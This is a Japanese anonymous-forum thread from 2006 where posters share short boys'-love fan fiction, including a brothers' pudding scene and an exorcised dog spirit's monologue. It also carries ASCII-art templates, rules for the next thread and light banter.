 かわいそうに、この間彼女と別れてからよほど飢えきっているとみえる。
いや、もしかしたら人間でなくとも、犬とか猫とかコモドドラゴンとかでもOKな気分なのかもしれぬ。
 全く、困ったやつだ。
彼にはぜひ彼女イナイ暦=年齢でも、微塵も動じないこの俺の気品と気概を見習ってもらいたいものだ。

「ところでプリンはまだ―?ダーリン」
「すぐにあげるよ、ハニ―」
「焦らさないで。今すぐ欲しいの。お願い。……おい、大丈夫か」
 なんだか鼻のあたりを抑えて慌てて立ち上がり、ティッシュの箱に飛びついている。
「ビタミンCやたんぱく質が不足するとそうなりやすいそうだ。
バイトにかまけて食事をおろそかにしているのではないか」

 しばらく上を向いている。
 ようやく落ち着いてティッシュを捨てる。
 さっさとプリンをよこさないからバチが当たったのかもしれぬ。 <> 7<>sage<>2006/11/12(日) 17:10:15 ID:BC/NJXgW0<> 「いや、もう大丈夫だ。………ほら、すぐあげるから代わりにして欲しいことがあるんだ」
 続けようとした彼を押し留める。
「それ、恋人同士の会話なのか?」
「……そのつもりだが、何か」
「相手に何かを与えるのに、いちいち見返りを求める。
商売相手ならともかく、恋人の会話とは思えんが。少なくとも俺はそんな相手はいやだな」
 弟者はピタリ、と固まった。
「で、続けるのか」
「いやいい。………悪かった」
 プリンを目の前に置いてくれる。
 そして自分はベッドに行き、どさり、と体を投げ出した。
<> 8<>sage<>2006/11/12(日) 17:11:16 ID:BC/NJXgW0<>

 キャラメルプリンはやはりぬるくなっていた。
 そのせいかあまり美味しくない。
 甘くて、なめらかで、ぷるんとしているのに、なんだか味気ない。
 一つを食べ終わって振り返ると、弟者はぼんやりと天井を見ていた。
 その横顔がひどく寂しそうだ。
 さっきまでの熱気が失せて、影だけが色濃い。
 別れた彼女のことでも思い出しているのだろう。
 もしかしたら、さっきの俺と同じようなセリフを言われたことがあるのかもしれん。
 だとしたら、悪かった。
 いや、同じバカを繰り返す弟者も悪いが、その傷に塩を塗るつもりはなかった。

 空のプリンカップの前で、俺はしばらく考える。
 不肖の弟をなんとか浮上させる手はないか、と。
 そして、一つ思いつく。


「弟者、弟者」
「………ん」
「目を閉じて」
「……………」

 ―――――― Kiss。
                                  了 <> 風と木の名無しさん<>sage<>2006/11/12(日) 17:13:00 ID:BC/NJXgW0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ オシマイ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/11/12(日) 17:13:52 ID:p4GJ65hz0<> リアルタイムキタ━━(゚∀゚)━━!
兄弟カワユス(*´д`) <> 風と木の名無しさん<>sage<>2006/11/12(日) 17:21:29 ID:qf0bn+mQ0<> 流血注意GJ! <> 風と木の名無しさん<>sage<>2006/11/12(日) 17:36:42 ID:BC/NJXgW0<> すみません、1行抜けました。
6の かわいそうに〜 と いや、もしかしたら〜 との間に
 もう相手が人間なら、実の兄だろうが何でもいいのだな。
が入ります。

……ありがとうございました。 <> 風と木の名無しさん<>sage<>2006/11/12(日) 19:10:45 ID:jt/dWarz0<> くそう!女装ダディのAAを寄越せ! <> 風と木の名無しさん<>sage<>2006/11/12(日) 23:08:44 ID:MfdvgJ1N0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  ナマモノ&男体化
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄| 関係萌えなんで名前その他変換済み 
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 戦闘シーンは略
 | |                | |     ピッ   (´∀` )(・∀・; )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1/4<>sage<>2006/11/12(日) 23:09:49 ID:MfdvgJ1N0<>
「では、明日の21時に悪魔払いの儀式を執り行います」

昨日の今時分、あの人は厳かに、そして淡々と私たちに告げた。
だが、いまだ私の前には、暗く静かな闇だけがある。
行くところもなく、待ち人は来ない。
ただ、途方に暮れていたとき、不意にその闇を包み込むような光が広がり、小柄な影が現れた。

「私は準備OKです。みなさん頑張りましょう」

柔らかく揺れる布のシルエットと優しく響く声が、その影の主が女性なのだと教えている。
ようやく光に慣れた目に、徐々に映し出された姿は美しかった。
緩く巻く、長い栗色の髪。優しさに満ちた茶色の瞳。
知っている。昨日、会った。あの人の仲間の藤野鈴香さん。

次いで、その光がゆっくりと溢れた。水を注がれた、真夏の花のような伸びやかさで。

「なにかできることがありましたら、なんなりとお申し付け下さいませ」

眩しさに視界を閉ざした一瞬の間に、藤野さんの後には更に小さい可憐な姿があった。
風に遊ぶ、短い黒髪。透明な心を映したかのように無垢な瞳。
彼女も知っている。昨日、知った。風見静さん。
<> 2/4<>sage<>2006/11/12(日) 23:10:47 ID:MfdvgJ1N0<>
更に、光が弾けた。
いや、この破裂したかのような衝撃は、広大な光の奔流が元の光に合わさりそのように見せただけのようだった。
彼女たちに向けていた目が、潰れたかのように痛む。

「こんばんは。 本日は宜しくお願い致します」

瞬いた目が、何とか映し出したのは、二人を背に庇うように立つ凛々しい姿。
背を覆う漆黒の髪。強い意志を見せる黒瞳。
彼も、いた。あの人の隣に立っていた、天満睦月さん。

そして、あの人が来た。
闇を切り裂く刃。光の残像ごと、一刀のもとに。
全てがひっくり返ったかのように、視界が回る。

「天満さんは私と。こちらが主力部隊です。風見さんは藤野さんと援護をお願いします。
みなさん、準備はよろしいですね? では始めましょうか」

力強い声が響く。
私の意思をかき消すかのように、鋭い視線で突き刺してくる。
壊れそうなほどに胸が高鳴る。待っていたあの人――飛鳥明さんが来た。
焦点の合わない目を必死で向けても、炎光を纏う飛鳥さんは見えない。
ただ、あの人が彼の隣に立ったことだけはわかっていた。
だから、私から流れ出し始めたどす黒い感情は、見える形で天満さんに向かった。
周囲に広がる光を侵食するかのように闇が広がる。
何かの触手のように、色濃く変わり伸びていく闇は、一人だけに向かっている。
姿は闇が隠していた。だが、時に見える光が、飛鳥さんたちの場所を教えてくれる。
遠くに見える、優しい藤の香りを思わせる光は藤野さん。風見さんはそこの清々しい光。
焼かれるほどに熱い閃きはあの人だ。
そして、溢れる光の中心に天満さんがいる。
<> 3/4<>sage<>2006/11/12(日) 23:11:37 ID:MfdvgJ1N0<>

闇と光の攻防。鬩ぎあいが続く中、藤の一房が揺れた。
一瞬の光の動揺。その隙を逃さず、闇が動いた。


声がとぎれとぎれに聞こえてくる。
その中で響いた声に、私の執着の一つが壊れた。

「天満さん!」

あの人が彼を呼ぶ。
耳を潰したくなるような悲痛な声で、彼を呼ぶ。
あの人が立ち上がる。
向けられて当然の怒りすら抑えて、あの人の厳かな一閃が私を切り裂いた。

空へと意識が引っ張られていく。
四方から小さな粒子が入り込んでくる。
光が心地よいと感じるのは、私が消える瞬間が近付いているからだろう。
もう一度、この世に生まれることができるなら、今度は獣ではなく人に生まれたい。
もう一目だけと思い、下へと向けた意識があの人を捉えた。
膝をついたあの人の腕には、小さく微笑む天満さんがいる。
私が送っていきましょうと言いながら、彼を抱き上げたあの人の顔にも笑顔がある。
藤野さんも風見さんに支えられ歩き出している。
あの人から誰も奪わなくてすんだ安堵に、力が抜けて空気に混じった。

<> 4/4<>sage<>2006/11/12(日) 23:12:16 ID:MfdvgJ1N0<>

気がつけば俺は自室にいた。
用意するように言われた膳の上の諸々を、なぜか凝視していた。
酷く疲れている目を瞬かせながら部屋を見回す。
もちろん闇だの光だのがあるはずもない。
適当に積み上げてある雑誌も揺れてすらいない。
当然だ。あれらはただの夢にすぎない。自己暗示に掛かっていただけだ。
だから、小さい頃に飼っていたタロが見えたなんて気のせいだ。
ただ、俺の中からは、重たく締め付けていた頭痛と、俺を振った彼女への憎悪が消えていた。
考えてみれば、別に憎むほど好きだったわけでもない。
「別れましょう」「そうだな」で終わる程度の付き合いだった。
最初から、八つ当たりに誰かをからかってやろうと思うほど、自棄になるような付き合いではなかったんだ。
なんとなく腑に落ちない気分は残っていたが、今は晴れやかな気分が勝っている。
だが、気分とは裏腹に体がだるい。異常に眠い。このまま朝まで眠りたい。
それでも、やらなければならないことが残っていた。
どうにか布団の誘惑を振り切り、付けっぱなしのPCの前に座る。
マウスを握ろうとした手が止まった。顔に違和感がある。
頬に持っていった指先に涙の跡があった。
俺には泣く理由がない。だから、これは俺の涙じゃない。
不意に今まで遠かった誰かの感情がストンと胸に落ちた。
それが俺の感情へと変わっていく。

「顔も本当の名前も、連絡方法も知らない……どうしようもじゃないか」

小さく呟いてPCの画面へと目を向ける。
新しい涙が視界を滲ませて、モニターが見えなかった。
<> 風と木の名無しさん<>sage<>2006/11/12(日) 23:12:56 ID:MfdvgJ1N0<>  ____________
 | __________  |
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 | | □ STOP.       | |
 | |                | |           ∧_∧ 終わり
 | |                | |     ピッ   (・∀・ )
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 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/11/12(日) 23:43:42 ID:PBIe2gDt0<> 現在493KB。
そろそろ容量やばいかも。 <> 風と木の名無しさん<>sage<>2006/11/13(月) 21:47:08 ID:pUIABh3D0<> 無理でした。どなたかよろしく。

【801】モララーのビデオ棚in801板21

モララーの秘蔵している映像を鑑賞する場です。
なにしろモララーのコレクションなので何でもありに決まっています。


   |__[][][][]/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | ̄ ̄ ̄|   すごいのが入ったんだけど‥‥みる?
   |[][][]__\______  ___________
   | ̄ ̄ ̄ ̄ ̄ ||  |      |/
    |[][][][][][][]//||  |  ∧_∧
   | ̄ ̄ ̄ ̄ ̄ ||  | ( ・∀・ ) _
   |[][][][][][][][]_|| / (    つ| |
    ̄ ̄ ̄ ̄ ̄ ̄    | | |  ̄
                    (__)_)


モララーのビデオ棚in801板21
http://sakura03.bbspink.com/test/read.cgi/801/1158949957/
 ローカルルールの説明、およびテンプレは>>2-7のあたり

保管サイト(お絵描き掲示板・うpろだ有)
http://moravideo.s57.xrea.com/
<> 風と木の名無しさん<>sage<>2006/11/13(月) 21:48:09 ID:pUIABh3D0<> 1.ノンジャンルの自作ネタ発表の場です
書き込むネタはノンジャンル。 801ネタであれば何でもあり。
たとえばこんなときにどうぞ。

  どこに投稿すればいいのかわからない‥‥
   ・ネタを作ってはみたが投稿すべき既存のスレが無い。
   ・投稿すべきスレがあるのかもしれないけど、よくわかんない。
   ・クロスオーバーのつもりなのだが各スレ住人にウザがられた。
   ・みんなの反応を見たうえでスレ立てるべきかどうか判断したい。

  投稿すべきスレはあるが‥‥
   ・キャラの設定を間違えて作ったので本スレに貼れない。
   ・種々の理由で、投稿すると本スレが荒れそう。
   ・本スレに貼る前にあらかじめ他人の反応を知って推敲したい。
   ・本スレは終了した。でも続編を自分で立てる気がない。

  ヘタレなので‥‥
   ・我ながらつまらないネタなので貼るのが躊躇われる。
   ・作り出してはみたものの途中で挫折した。誰か続きおながい!

迷ったときはこのスレに投稿してね。
ただ、本来投稿すべきと思うスレがある場合は
それがどのスレで(ヒントで充分)、しかしなぜこのスレに貼ったのか、
という簡単なコメントがあるとよい。無いとカオスすぎるからね。

ナマモノは伏せ字か当て字を推奨。
それ以外は該当スレのローカルルールに沿うか、自己判断で。 <> 風と木の名無しさん<>sage<>2006/11/13(月) 21:49:04 ID:pUIABh3D0<> 2.ネタ以外の書き込みは厳禁!
つまりこのスレの書き込みは全てがネタ。
ストーリー物であろうが一発ネタであろうが
一見退屈な感想レスに見えようが
コピペの練習・煽り・議論レスに見えようが、
それらは全てネタ。
ネタにマジレスはカコワルイぞ。
そしてネタ提供者にはできるだけ感謝しよう。

  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ネタの体裁をとっていないラッシュフィルムは
  | いずれ僕が編集して1本のネタにするかもね!
  \                           | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄  | | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| . |
                               | | [][] PAUSE       | . |
                ∧_∧         | |                  | . |
          ┌┬―( ・∀・ )┐ ピッ      | |                  | . |
          | |,,  (    つ◇       | |                  | . |
          | ||―(_ ┐┐―||        |  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄   |
          | ||   (__)_), ||       |  °°   ∞   ≡ ≡   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/11/13(月) 21:49:45 ID:pUIABh3D0<> 3.ネタはネタ用テンプレで囲うのがベター。
別に義務ではないけどね。
とりあえず用意したテンプレ。

                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  モララーのビデオを見るモナ‥‥。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  きっと楽しんでもらえるよ。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
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 ____________
 | __________  |
 | |                | |
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 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 風と木の名無しさん<>sage<>2006/11/13(月) 22:07:07 ID:gJq2jqmV0<> 立てたよ!
http://sakura03.bbspink.com/test/read.cgi/801/1163422997/l50 <> 風と木の名無しさん<>sage<>2006/11/13(月) 23:07:47 ID:mHOJBjixO<> >>611
( ・∀・)つ旦~ <> 風と木の名無しさん<>sage<>2006/11/14(火) 17:12:22 ID:oMDaWusI0<> まだいける? <> 風と木の名無しさん<>sage<>2006/11/14(火) 22:18:40 ID:29RvB95EO<> いかせてくれるなら。 <> 風と木の名無しさん<>sage<>2006/11/15(水) 00:13:05 ID:pQO47g7X0<> いかせてみせよう。 <> 風と木の名無しさん<>sage<>2006/11/15(水) 11:57:18 ID:52w/dbYS0<> ホトトギス。 <> 風と木の名無しさん<>sage<>2006/11/15(水) 15:12:39 ID:1fp8EmWLO<> ほーほけきょ <> 風と木の名無しさん<>sage<>2006/11/15(水) 15:50:42 ID:Z4vIS18Z0<> それ、ウグイス。 <> 風と木の名無しさん<>sage<>2006/11/15(水) 19:00:48 ID:OMDAtBHb0<> 山田君、座布団全部私に頂戴 <> 山田@砂色さんと琥珀色さん(1/3)<>sage<>2006/11/15(水) 19:07:49 ID:bsolztqY0<> 一連の流れにワロタw
>619 つ座布団全部

梅がてらコソーリ小ネタ投下。>562->572後日談
某宇宙歌劇の金赤が登場しない金赤話。
砂色がミーハーでもおk、同期相手エセ口調おkな冗談のわかる人向け。

|>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!


いやあ、驚いたよ。
薄々そうではないかと思っていたがまさか現場に居合わせる事になるとは……。
ああ、事の発端のB提督は放心している。余程衝撃だったみたいだ。
軽率な行動をとればそれ相応の報いを受けるという事だな。
卿が必死で止めた理由がよーくわかった。
いやいや、私だって止めてただろう? 面白がってなどいないさ。本当に。
珍しいものが見られて興味深かったという程度だ。そう睨むなよ。
吊り目がますます吊り上がって怖い顔になっているぞ。まあ飲め、ほら。
現場はどうだったかって? ああ、卿は見ていないのか。
安心しろ、着衣は乱れていなかっ……すまん、不敬だった。認める。
閣下も意外と大胆だな、仮にも公務を行う場所で。らしくもない。
何!? それは本当か? メモメモ……ゴホン、これは何でもないよ。
……ほほう、そうか……逆なのか。うん、なるほど。
しかし陛下が背伸びをなさって、閣下の唇を吸っていらっしゃ――。
気持ちはわかる。泣くな、泣くなって。飲め飲め。奢るから。 <>